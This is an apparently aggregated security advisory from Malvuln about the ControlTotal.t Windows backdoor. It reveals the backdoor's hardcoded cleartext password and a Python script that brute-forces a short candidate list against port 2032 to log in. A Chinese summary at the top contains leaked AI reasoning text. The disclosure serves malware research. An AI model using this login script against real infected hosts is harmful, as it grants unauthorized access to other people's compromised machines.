Backdoor.Win32.ControlTotal.t / Insecure Credential Storage / MVID-2025-0702
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。首先,我得仔细阅读用户提供的文章内容,找出关键信息。 文章标题是“Backdoor.Win32.ControlTotal.t / Insecure Credential Storage / MVID-2025-0702”,看起来这是一个恶意软件的漏洞报告。作者是Malvuln的John Page,日期是2025年12月20日。 文章描述了恶意软件Backdoor.Win32.ControlTotal.t在TCP 2032端口上监听,并且使用明文存储密码“jdf4df4vdf”。研究人员使用自定义客户端验证了这个密码,因为nc64可能不被接受。此外,文章还提供了PoC代码,用于测试和验证。 总结时需要包括恶意软件名称、漏洞类型、密码存储方式、验证方法以及PoC的存在。同时要控制在100字以内,所以需要简洁明了。 最后,确保不使用“文章内容总结”或“这篇文章”这样的开头,直接描述内容即可。 </think> 该恶意软件Backdoor.Win32.ControlTotal.t通过TCP 2032端口监听并存储明文密码"jdf4df4vdf"用于认证。研究人员开发自定义客户端验证密码,并提供PoC代码进行测试。 2025-12-21 21:57:3 Author: cxsecurity.com(查看原文) 阅读量:4 收藏

Backdoor.Win32.ControlTotal.t / Insecure Credential Storage / MVID-2025-0702

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2025 Original source: https://malvuln.com/advisory/6c0eda1210da81b191bd970cb0f8660a.txt Malvuln Intelligence Feed: https://intel.malvuln.com/ Contact: [email protected] Media: x.com/malvuln Threat: Backdoor.Win32.ControlTotal.t Vulnerability: Insecure Credential Storage Description: The malware listens on TCP port 2032 and requires authentication. The password "jdf4df4vdf" is stored in cleartext within the PE file. We send using a custom client to validate the password, as the malware did not like nc64 likely due to CRLF characters. Family: ControlTotal Type: PE32 Attack-pattern TTP: Unsecured Credentials (T1552) MD5: 6c0eda1210da81b191bd970cb0f8660a SHA256: 25b46a418b4e0749f83d9439fd1f5b9e2e5dd0703398516ac750580a26c800d5 Vuln ID: MVID-2025-0702 Disclosure: 12/20/2025 Exploit/PoC: from socket import * import time #By John Page (aka hyp3rlinx) #Backdoor.Win32.ControlTotal.t #MD5: 6c0eda1210da81b191bd970cb0f8660a # MALWARE_HOST="x.x.x.x" PORT=2032 candidates = [ "cs4sd65F", "5s64jhbk", "54asD54s", "SDd54F7j", "5fh4dhhg", "df2gdfg2", "AS45aas7", "D54SDFfh", "jdf4df4vdf", #Password Here "sdf21fsd", "dgv2fd", "annsk33", "20022okkd" ] def chk_res(s, p=None): failed = False res = b'' while True: chunk = s.recv(128) if not chunk: break res += chunk text = res.decode('latin-1', errors='ignore') if "xaContraseña Incorrecta" in text: failed = True break if not failed: return p return None def backdoor_login(passwd): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.send(passwd.encode()) result = chk_res(s, passwd) if result: print("[*] Password found: ", result) else: print("[!] Failed.") return False s.close() return True def main(): for x in candidates: print("[-] Trying: ", x) if backdoor_login(x): break time.sleep(0.6) if __name__ == "__main__": main() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).



 

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文章来源: https://cxsecurity.com/issue/WLB-2025120019
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